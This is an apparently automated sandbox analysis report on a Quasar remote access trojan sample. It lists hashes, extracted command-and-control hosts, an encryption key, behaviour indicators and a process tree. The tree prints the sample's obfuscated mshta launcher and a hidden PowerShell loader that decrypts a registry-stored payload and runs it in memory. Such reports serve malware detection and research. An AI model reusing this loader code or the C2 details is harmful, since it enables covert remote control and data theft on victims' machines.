quasar | 84ba648cfdd5c2ae8d3292fcc1702e385a1a26e915bd7275b5fde776212f2724

Analysis

max time kernel
24s
max time network
25s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
24-12-2024 06:29

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Shadow-Stealer.bat
Size

12.5MB
MD5

cf5b412ffc3ce43cd7ddce602fc67f56
SHA1

221dfcd0868158f676c472d8a5bcf9647f0c7d51
SHA256

84ba648cfdd5c2ae8d3292fcc1702e385a1a26e915bd7275b5fde776212f2724
SHA512

695489d3b02863c382dc4b044bd80825b3f46eadfe4647619a0036da7ab3405b7925e89a457b19ee57995a59dcf8d5f9df237cd4d5d59a6cee3914aeaee2a8ef
SSDEEP

49152:mmlB6XvIxKx/znMtw4e/x4dA+ilmm5C5rsw1y1lkGxJW5RXLnfaWixbVoZmb0nYk:b

Score

10^/10

quasar v2.2.6 | tinsler defense_evasion discovery spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.0.0.0

Botnet

v2.2.6 | Tinsler

throbbing-mountain-09011.pktriot.net:22112

167.71.56.116:22112

throbbing-mountain-09011.pktriot.net:5050

Mutex

cf16a257-7d89-4296-8384-8fca3dbb568f

Attributes

encryption_key
045F98A287DD47B8B5C074D234995A2C5A913042
install_name
.exe
log_directory
$sxr-Logs
reconnect_delay
1000

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral1/memory/2612-63-0x0000018D22DD0000-0x0000018D2359A000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

description	pid	Process	procid_target
PID 3536 created 616	3536	Shadow-Stealer.bat.exe	5
PID 2612 created 616	2612	$sxr-powershell.exe	5
PID 2612 created 616	2612	$sxr-powershell.exe	5

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	$sxr-mshta.exe

Executes dropped EXE 5 IoCs

pid	Process
3536	Shadow-Stealer.bat.exe
2184	$sxr-mshta.exe
2324	$sxr-cmd.exe
2612	$sxr-powershell.exe
1340	$sxr-powershell.exe

Hide Artifacts: Hidden Window 1 TTPs 2 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
2612	$sxr-powershell.exe
1340	$sxr-powershell.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 3536 set thread context of 2708	3536	Shadow-Stealer.bat.exe	94
PID 3536 set thread context of 628	3536	Shadow-Stealer.bat.exe	95
PID 2612 set thread context of 5064	2612	$sxr-powershell.exe	106
PID 2612 set thread context of 5080	2612	$sxr-powershell.exe	108
PID 2612 set thread context of 388	2612	$sxr-powershell.exe	110
PID 2612 set thread context of 1248	2612	$sxr-powershell.exe	112

Drops file in Windows directory 6 IoCs

description	ioc	Process
File created	C:\Windows\$sxr-powershell.exe	Shadow-Stealer.bat.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	Shadow-Stealer.bat.exe
File created	C:\Windows\$sxr-mshta.exe	Shadow-Stealer.bat.exe
File opened for modification	C:\Windows\$sxr-mshta.exe	Shadow-Stealer.bat.exe
File created	C:\Windows\$sxr-cmd.exe	Shadow-Stealer.bat.exe
File opened for modification	C:\Windows\$sxr-cmd.exe	Shadow-Stealer.bat.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	$sxr-mshta.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3536	Shadow-Stealer.bat.exe
3536	Shadow-Stealer.bat.exe
3536	Shadow-Stealer.bat.exe
2708	dllhost.exe
2708	dllhost.exe
628	dllhost.exe
628	dllhost.exe
628	dllhost.exe
628	dllhost.exe
2708	dllhost.exe
2708	dllhost.exe
3536	Shadow-Stealer.bat.exe
3536	Shadow-Stealer.bat.exe
2612	$sxr-powershell.exe
2612	$sxr-powershell.exe
2612	$sxr-powershell.exe
2612	$sxr-powershell.exe
5064	dllhost.exe
5064	dllhost.exe
5080	dllhost.exe
5080	dllhost.exe
5080	dllhost.exe
5080	dllhost.exe
5064	dllhost.exe
5064	dllhost.exe
2612	$sxr-powershell.exe
2612	$sxr-powershell.exe
1340	$sxr-powershell.exe
1340	$sxr-powershell.exe
2612	$sxr-powershell.exe
388	dllhost.exe
388	dllhost.exe
1248	dllhost.exe
1248	dllhost.exe
1248	dllhost.exe
1248	dllhost.exe
388	dllhost.exe
388	dllhost.exe
388	dllhost.exe
388	dllhost.exe
1248	dllhost.exe
1248	dllhost.exe
388	dllhost.exe
388	dllhost.exe
1248	dllhost.exe
1248	dllhost.exe
388	dllhost.exe
388	dllhost.exe
1340	$sxr-powershell.exe
1340	$sxr-powershell.exe
1248	dllhost.exe
388	dllhost.exe
388	dllhost.exe
1248	dllhost.exe
388	dllhost.exe
388	dllhost.exe
1248	dllhost.exe
1248	dllhost.exe
388	dllhost.exe
388	dllhost.exe
1248	dllhost.exe
1248	dllhost.exe
388	dllhost.exe
388	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3536	Shadow-Stealer.bat.exe
Token: SeDebugPrivilege	3536	Shadow-Stealer.bat.exe
Token: SeDebugPrivilege	2708	dllhost.exe
Token: SeDebugPrivilege	628	dllhost.exe
Token: SeDebugPrivilege	2612	$sxr-powershell.exe
Token: SeDebugPrivilege	2612	$sxr-powershell.exe
Token: SeDebugPrivilege	5064	dllhost.exe
Token: SeDebugPrivilege	5080	dllhost.exe
Token: SeDebugPrivilege	1340	$sxr-powershell.exe
Token: SeDebugPrivilege	2612	$sxr-powershell.exe
Token: SeDebugPrivilege	388	dllhost.exe
Token: SeDebugPrivilege	1248	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2372	svchost.exe
Token: SeIncreaseQuotaPrivilege	2372	svchost.exe
Token: SeSecurityPrivilege	2372	svchost.exe
Token: SeTakeOwnershipPrivilege	2372	svchost.exe
Token: SeLoadDriverPrivilege	2372	svchost.exe
Token: SeSystemtimePrivilege	2372	svchost.exe
Token: SeBackupPrivilege	2372	svchost.exe
Token: SeRestorePrivilege	2372	svchost.exe
Token: SeShutdownPrivilege	2372	svchost.exe
Token: SeSystemEnvironmentPrivilege	2372	svchost.exe
Token: SeUndockPrivilege	2372	svchost.exe
Token: SeManageVolumePrivilege	2372	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2372	svchost.exe
Token: SeIncreaseQuotaPrivilege	2372	svchost.exe
Token: SeSecurityPrivilege	2372	svchost.exe
Token: SeTakeOwnershipPrivilege	2372	svchost.exe
Token: SeLoadDriverPrivilege	2372	svchost.exe
Token: SeSystemtimePrivilege	2372	svchost.exe
Token: SeBackupPrivilege	2372	svchost.exe
Token: SeRestorePrivilege	2372	svchost.exe
Token: SeShutdownPrivilege	2372	svchost.exe
Token: SeSystemEnvironmentPrivilege	2372	svchost.exe
Token: SeUndockPrivilege	2372	svchost.exe
Token: SeManageVolumePrivilege	2372	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2372	svchost.exe
Token: SeIncreaseQuotaPrivilege	2372	svchost.exe
Token: SeSecurityPrivilege	2372	svchost.exe
Token: SeTakeOwnershipPrivilege	2372	svchost.exe
Token: SeLoadDriverPrivilege	2372	svchost.exe
Token: SeSystemtimePrivilege	2372	svchost.exe
Token: SeBackupPrivilege	2372	svchost.exe
Token: SeRestorePrivilege	2372	svchost.exe
Token: SeShutdownPrivilege	2372	svchost.exe
Token: SeSystemEnvironmentPrivilege	2372	svchost.exe
Token: SeUndockPrivilege	2372	svchost.exe
Token: SeManageVolumePrivilege	2372	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2372	svchost.exe
Token: SeIncreaseQuotaPrivilege	2372	svchost.exe
Token: SeSecurityPrivilege	2372	svchost.exe
Token: SeTakeOwnershipPrivilege	2372	svchost.exe
Token: SeLoadDriverPrivilege	2372	svchost.exe
Token: SeSystemtimePrivilege	2372	svchost.exe
Token: SeBackupPrivilege	2372	svchost.exe
Token: SeRestorePrivilege	2372	svchost.exe
Token: SeShutdownPrivilege	2372	svchost.exe
Token: SeSystemEnvironmentPrivilege	2372	svchost.exe
Token: SeUndockPrivilege	2372	svchost.exe
Token: SeManageVolumePrivilege	2372	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2372	svchost.exe
Token: SeIncreaseQuotaPrivilege	2372	svchost.exe
Token: SeSecurityPrivilege	2372	svchost.exe
Token: SeTakeOwnershipPrivilege	2372	svchost.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3428	Explorer.EXE
3428	Explorer.EXE

Suspicious use of SendNotifyMessage 9 IoCs

pid	Process
3428	Explorer.EXE
3428	Explorer.EXE
3428	Explorer.EXE
3428	Explorer.EXE
3428	Explorer.EXE
3428	Explorer.EXE
3428	Explorer.EXE
3428	Explorer.EXE
3428	Explorer.EXE

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2612	$sxr-powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2616 wrote to memory of 3536	2616	cmd.exe	85
PID 2616 wrote to memory of 3536	2616	cmd.exe	85
PID 3536 wrote to memory of 2708	3536	Shadow-Stealer.bat.exe	94
PID 3536 wrote to memory of 2708	3536	Shadow-Stealer.bat.exe	94
PID 3536 wrote to memory of 2708	3536	Shadow-Stealer.bat.exe	94
PID 3536 wrote to memory of 2708	3536	Shadow-Stealer.bat.exe	94
PID 3536 wrote to memory of 2708	3536	Shadow-Stealer.bat.exe	94
PID 3536 wrote to memory of 2708	3536	Shadow-Stealer.bat.exe	94
PID 3536 wrote to memory of 2708	3536	Shadow-Stealer.bat.exe	94
PID 3536 wrote to memory of 628	3536	Shadow-Stealer.bat.exe	95
PID 3536 wrote to memory of 628	3536	Shadow-Stealer.bat.exe	95
PID 3536 wrote to memory of 628	3536	Shadow-Stealer.bat.exe	95
PID 3536 wrote to memory of 628	3536	Shadow-Stealer.bat.exe	95
PID 3536 wrote to memory of 628	3536	Shadow-Stealer.bat.exe	95
PID 3536 wrote to memory of 628	3536	Shadow-Stealer.bat.exe	95
PID 3536 wrote to memory of 628	3536	Shadow-Stealer.bat.exe	95
PID 3536 wrote to memory of 628	3536	Shadow-Stealer.bat.exe	95
PID 3536 wrote to memory of 628	3536	Shadow-Stealer.bat.exe	95
PID 2184 wrote to memory of 2324	2184	$sxr-mshta.exe	103
PID 2184 wrote to memory of 2324	2184	$sxr-mshta.exe	103
PID 2324 wrote to memory of 2612	2324	$sxr-cmd.exe	105
PID 2324 wrote to memory of 2612	2324	$sxr-cmd.exe	105
PID 2612 wrote to memory of 5064	2612	$sxr-powershell.exe	106
PID 2612 wrote to memory of 5064	2612	$sxr-powershell.exe	106
PID 2612 wrote to memory of 5064	2612	$sxr-powershell.exe	106
PID 2612 wrote to memory of 5064	2612	$sxr-powershell.exe	106
PID 2612 wrote to memory of 5064	2612	$sxr-powershell.exe	106
PID 2612 wrote to memory of 5064	2612	$sxr-powershell.exe	106
PID 2612 wrote to memory of 5064	2612	$sxr-powershell.exe	106
PID 2612 wrote to memory of 4672	2612	$sxr-powershell.exe	107
PID 2612 wrote to memory of 4672	2612	$sxr-powershell.exe	107
PID 2612 wrote to memory of 4672	2612	$sxr-powershell.exe	107
PID 2612 wrote to memory of 5080	2612	$sxr-powershell.exe	108
PID 2612 wrote to memory of 5080	2612	$sxr-powershell.exe	108
PID 2612 wrote to memory of 5080	2612	$sxr-powershell.exe	108
PID 2612 wrote to memory of 5080	2612	$sxr-powershell.exe	108
PID 2612 wrote to memory of 5080	2612	$sxr-powershell.exe	108
PID 2612 wrote to memory of 5080	2612	$sxr-powershell.exe	108
PID 2612 wrote to memory of 5080	2612	$sxr-powershell.exe	108
PID 2612 wrote to memory of 5080	2612	$sxr-powershell.exe	108
PID 2612 wrote to memory of 5080	2612	$sxr-powershell.exe	108
PID 2612 wrote to memory of 1340	2612	$sxr-powershell.exe	109
PID 2612 wrote to memory of 1340	2612	$sxr-powershell.exe	109
PID 2612 wrote to memory of 388	2612	$sxr-powershell.exe	110
PID 2612 wrote to memory of 388	2612	$sxr-powershell.exe	110
PID 2612 wrote to memory of 388	2612	$sxr-powershell.exe	110
PID 2612 wrote to memory of 388	2612	$sxr-powershell.exe	110
PID 2612 wrote to memory of 388	2612	$sxr-powershell.exe	110
PID 2612 wrote to memory of 388	2612	$sxr-powershell.exe	110
PID 2612 wrote to memory of 388	2612	$sxr-powershell.exe	110
PID 2612 wrote to memory of 388	2612	$sxr-powershell.exe	110
PID 2612 wrote to memory of 388	2612	$sxr-powershell.exe	110
PID 2612 wrote to memory of 2164	2612	$sxr-powershell.exe	111
PID 2612 wrote to memory of 2164	2612	$sxr-powershell.exe	111
PID 2612 wrote to memory of 2164	2612	$sxr-powershell.exe	111
PID 2612 wrote to memory of 1248	2612	$sxr-powershell.exe	112
PID 2612 wrote to memory of 1248	2612	$sxr-powershell.exe	112
PID 2612 wrote to memory of 1248	2612	$sxr-powershell.exe	112
PID 2612 wrote to memory of 1248	2612	$sxr-powershell.exe	112
PID 2612 wrote to memory of 1248	2612	$sxr-powershell.exe	112
PID 2612 wrote to memory of 1248	2612	$sxr-powershell.exe	112
PID 2612 wrote to memory of 1248	2612	$sxr-powershell.exe	112
PID 2612 wrote to memory of 1248	2612	$sxr-powershell.exe	112
PID 2612 wrote to memory of 1248	2612	$sxr-powershell.exe	112

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:64
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{af499266-a3c5-4b4f-b20a-038faaa234bb}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2708
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{304f7b8b-387a-4d53-b924-270e3238f21f}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5064
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{ae33aa93-9031-4cef-a1f6-b5f85dbfeb0b}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:388

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:960

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:400

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:744

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1020

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1108
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2992
- C:\Windows\$sxr-mshta.exe
  C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-tjptoUybjVuvgCOJtIWn4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:2184
- - C:\Windows\$sxr-cmd.exe
    "C:\Windows\$sxr-cmd.exe" /c %$sxr-tjptoUybjVuvgCOJtIWn4312:&#<?=%
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2324
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1716
  - - C:\Windows\$sxr-powershell.exe
      C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function VOHZF($Lwtxx){ $xCaUG=[System.Security.Cryptography.Aes]::Create(); $xCaUG.Mode=[System.Security.Cryptography.CipherMode]::CBC; $xCaUG.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $xCaUG.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0='); $xCaUG.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg=='); $CTnvz=$xCaUG.('rotpyrceDetaerC'[-1..-15] -join '')(); $oMfGF=$CTnvz.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Lwtxx, 0, $Lwtxx.Length); $CTnvz.Dispose(); $xCaUG.Dispose(); $oMfGF;}function nnKof($Lwtxx){ $ABMbT=New-Object System.IO.MemoryStream(,$Lwtxx); $FswzF=New-Object System.IO.MemoryStream; $ZWQus=New-Object System.IO.Compression.GZipStream($ABMbT, [IO.Compression.CompressionMode]::Decompress); $ZWQus.CopyTo($FswzF); $ZWQus.Dispose(); $ABMbT.Dispose(); $FswzF.Dispose(); $FswzF.ToArray();}function vzvJZ($Lwtxx,$kAWoQ){ $kXIpu=[System.Reflection.Assembly]::Load([byte[]]$Lwtxx); $OPPDg=$kXIpu.EntryPoint; $OPPDg.Invoke($null, $kAWoQ);}$xCaUG1 = New-Object System.Security.Cryptography.AesManaged;$xCaUG1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xCaUG1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xCaUG1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0=');$xCaUG1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg==');$qsFQP = $xCaUG1.('rotpyrceDetaerC'[-1..-15] -join '')();$UMIrZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2twxIFMV1JWyz0b8BpHEfA==');$UMIrZ = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ, 0, $UMIrZ.Length);$UMIrZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ);$PYyQA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p05ztWCKuMfos2Q8RYoS+FIXy2DypHHbyYGL6Z+cEc8=');$PYyQA = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($PYyQA, 0, $PYyQA.Length);$PYyQA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($PYyQA);$roofG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Sy8HcJTfKA/mf4hPH+Go6g==');$roofG = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($roofG, 0, $roofG.Length);$roofG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($roofG);$tgmGC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BuxXfqRY1RoP0b/ROY4PrLV7XH6EyWkqL6UOT7VtjFZgNba4DmwvRZ0rEKh6tsW5E4dar7n8yKYorGfhmfzDSchZoElrP0gmf7pENQ75eXbqF+3j4N1LjY1xzYPYeJFwvJGbJvqe3CPoWhNQATtYtY/6ujGYTqqhsjIgqQdcVJyCExpvLG1KTAiDHwbcLEgHzlPLvK+nTj2PYL6WYsFa3I8rptDz3r9IvJABT8A6TOqZRS2q9nM/2K1/IRFUTDKvPPtYy9cd0jq4MTO7gDnvlUAC8kJM0rAwSo8RwA3zKJNYBBv03aq6fIf9zugDa03cb0yO24aIfe5AFN+zOGDLKtWrsyyIVpjarzDCbBlxkhPRynAyHBM2A5pmzVa2gAc2+o8odD180Z07f5ZL3mYwTO8G4arHTtORWkqMdtdm7CA=');$tgmGC = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tgmGC, 0, $tgmGC.Length);$tgmGC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tgmGC);$zvkCv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JVVxi793TWK0eiazbMjyxQ==');$zvkCv = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zvkCv, 0, $zvkCv.Length);$zvkCv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zvkCv);$MrvyW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('y9CiMcnIF08D1mbStDfFzg==');$MrvyW = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MrvyW, 0, $MrvyW.Length);$MrvyW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MrvyW);$UFhRe = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4Gkz3kktZWs5v4iY/fwpuA==');$UFhRe = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UFhRe, 0, $UFhRe.Length);$UFhRe = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UFhRe);$BdNHQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mWujaRBJ7Bka6/SLPc2zjg==');$BdNHQ = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BdNHQ, 0, $BdNHQ.Length);$BdNHQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BdNHQ);$NXCWg = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JS1eCTl+J3Vy2lPum4BV+A==');$NXCWg = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NXCWg, 0, $NXCWg.Length);$NXCWg = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NXCWg);$UMIrZ0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Xun+s5YVAeQzgGPJKptAJw==');$UMIrZ0 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ0, 0, $UMIrZ0.Length);$UMIrZ0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ0);$UMIrZ1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tKxTd8rUmwwPDWYqtJ+flg==');$UMIrZ1 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ1, 0, $UMIrZ1.Length);$UMIrZ1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ1);$UMIrZ2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QwPWmxWc7oP0xMzohMzOyA==');$UMIrZ2 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ2, 0, $UMIrZ2.Length);$UMIrZ2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ2);$UMIrZ3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('00EoyZz50MzeF+YVDb5OyQ==');$UMIrZ3 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ3, 0, $UMIrZ3.Length);$UMIrZ3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ3);$qsFQP.Dispose();$xCaUG1.Dispose();if (@(get-process -ea silentlycontinue $UMIrZ3).count -gt 1) {exit};$dINWW = [Microsoft.Win32.Registry]::$BdNHQ.$UFhRe($UMIrZ).$MrvyW($PYyQA);$QJXfU=[string[]]$dINWW.Split('\');$flTmo=nnKof(VOHZF([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QJXfU[1])));vzvJZ $flTmo (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$iBTnS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QJXfU[0]);$xCaUG = New-Object System.Security.Cryptography.AesManaged;$xCaUG.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xCaUG.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xCaUG.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0=');$xCaUG.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg==');$CTnvz = $xCaUG.('rotpyrceDetaerC'[-1..-15] -join '')();$iBTnS = $CTnvz.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iBTnS, 0, $iBTnS.Length);$CTnvz.Dispose();$xCaUG.Dispose();$ABMbT = New-Object System.IO.MemoryStream(, $iBTnS);$FswzF = New-Object System.IO.MemoryStream;$ZWQus = New-Object System.IO.Compression.GZipStream($ABMbT, [IO.Compression.CompressionMode]::$UMIrZ1);$ZWQus.$NXCWg($FswzF);$ZWQus.Dispose();$ABMbT.Dispose();$FswzF.Dispose();$iBTnS = $FswzF.ToArray();$JJwWP = $tgmGC | IEX;$kXIpu = $JJwWP::$UMIrZ2($iBTnS);$OPPDg = $kXIpu.EntryPoint;$OPPDg.$UMIrZ0($null, (, [string[]] ($roofG)))
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Executes dropped EXE
      Hide Artifacts: Hidden Window
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:2612
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{6c2d49ee-9a41-49ae-bb5f-d38404a7573e}
        5⤵
        
        PID:4672
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{47a6f69d-2cd5-413c-b1cc-95507c8bb7af}
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5080
    - - C:\Windows\$sxr-powershell.exe
        
